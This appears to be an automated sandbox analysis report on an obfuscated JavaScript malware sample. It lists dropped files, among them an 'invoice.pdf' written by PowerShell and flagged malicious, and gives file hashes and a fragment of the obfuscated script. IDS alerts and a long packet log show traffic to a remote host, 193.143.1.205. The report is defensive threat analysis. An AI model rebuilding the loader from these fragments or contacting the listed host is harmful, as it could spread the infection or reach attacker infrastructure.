Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e86513e0-07ed-4b5f-8bb8-94a27fd4a4b3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15848), with CRLF line terminators
Entropy (8bit):	4.918730768208313
TrID:
File name:	434027412290322097.js
File size:	19'354 bytes
MD5:	3ec0627e5d9085c2858a0c29a99ec043
SHA1:	786a0de5f85cad00b6632cc94e3434683c3c2bdd
SHA256:	f694a041d851c9470ade4838065d2123f1feff291098319d1cd5a57c7721bec1
SHA512:	31be27f47cd47aec9c81b5c8e3ef8bfe86b297c666761e7233d613a9c090b51d88acefae89397c234dd21ef809d57c0ec35e04d1ab5e61e0c327521652dac5e2
SSDEEP:	384:Iqcr3I88I5zi0V8zi0VUw+MiYKkXOYUVCAqd0uvC+ZE+1jBlzduuIuSZRgD/H0J0:grI7h2H+pIKOy
TLSH:	0C9296A0EA07CB2BC5D402AC99DA04F535FC0BAB5B75285E49D764C82B1CF1B5CF22B4
File Content Preview:	function uvbptzvy(){dpcihpgs=[1031,3079,5127,4103,2055,3072];var utzcbdtvg=this[unumb+necioetmp+ajxxc+ntefmst+xzfyluzu+zpnicew+emrmf+qjuxcc](this[afvvxr+zuzrjchfy+mfkqds+ajxxc+oarpg+unumb+qjuxcc][yanrec+ajxxc+xzfyluzu+necioetmp+qjuxcc+xzfyluzu+esgkyjge+el

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:21:37.695595+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-10T23:21:40.382499+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:21:36.856178999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:36.861143112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:36.861268997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:36.864213943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:36.869028091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.695426941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.695466995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.695509911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.695528030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.695561886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.695595026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.695595026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.695604086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.695625067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.695660114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.695681095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.695702076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.695720911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.695720911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.695852995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.700540066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.743690014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.753324986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.753370047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.753401041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.753639936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.804406881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.824147940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.824163914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.824174881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.824181080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.824268103 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.824290991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.824373960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.824385881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.824393988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.824481964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.824487925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.824497938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.824867964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.825032949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.825088978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.825093985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.825117111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.825167894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.825186968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.825192928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.825263977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.825910091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.826062918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.826069117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.826080084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.826086044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.826149940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.826149940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.843888044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.843921900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.843954086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.843977928 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.844012022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.844017982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.844048977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.844384909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.933175087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.933204889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.933243990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.933862925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.952605009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.952621937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.952676058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.952699900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.952752113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.952754974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.952773094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.952811003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.952826023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.952826023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.952853918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.952873945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.952876091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.953020096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.953457117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.953512907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.953532934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.953568935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.953582048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.953588009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.953654051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.954063892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.954108953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.954143047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.954160929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.954168081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.954189062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.954230070 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.954230070 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.954281092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.954299927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.954348087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.954984903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.955028057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.955063105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.955128908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.955147982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.955185890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.955199003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.955199003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.955204964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.955295086 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.955849886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.955893040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.955929041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.955946922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.956008911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.956027985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.956067085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.956085920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.956099033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.956099033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.956135988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.956866026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.956916094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.956935883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.956969976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.956990957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.957017899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.957017899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.965740919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.974536896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.974581957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.974616051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:37.974729061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:37.974729061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.008083105 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.023823977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.023849010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.023964882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.069439888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.069493055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.069514990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.069534063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.069575071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.069593906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.069593906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.094782114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.094825029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.094846010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.094858885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.094863892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.094887972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.094907999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.094927073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.094928026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.094947100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.094969988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.094990969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.095009089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.095050097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.095241070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.095267057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.095335007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.095345020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.095366001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.095403910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.095422983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.095443010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.095455885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.095472097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.096086979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.096131086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.096147060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.096153021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.096231937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.096251965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.096286058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.096287966 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.096306086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.096359015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.096440077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.097122908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.097157955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.097173929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.097182035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.097192049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.097199917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.097210884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.097270012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.097270012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.097867012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.097883940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.097891092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.097925901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.098000050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.098023891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.098043919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.098067045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.098074913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.098087072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.098144054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.098740101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.098767996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.098774910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.098906040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.098923922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.098931074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.098968029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.098974943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.099004984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.099050045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.099653006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.099669933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.099678993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.099745035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.099745035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.099787951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.099797010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.099808931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.099869013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.099915028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.099961042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.100600004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.100610018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.100616932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.100681067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.100702047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.100709915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.100717068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.100723982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.100754976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.101422071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.101442099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.101449966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.101512909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.101557970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.101593018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.101599932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.101613998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.101634026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.101655006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.101691961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.102413893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.102421999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.102437973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.102570057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:21:38.124737978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:21:38.124808073 CET	49704	80	192.168.2.8	193.143.1.205
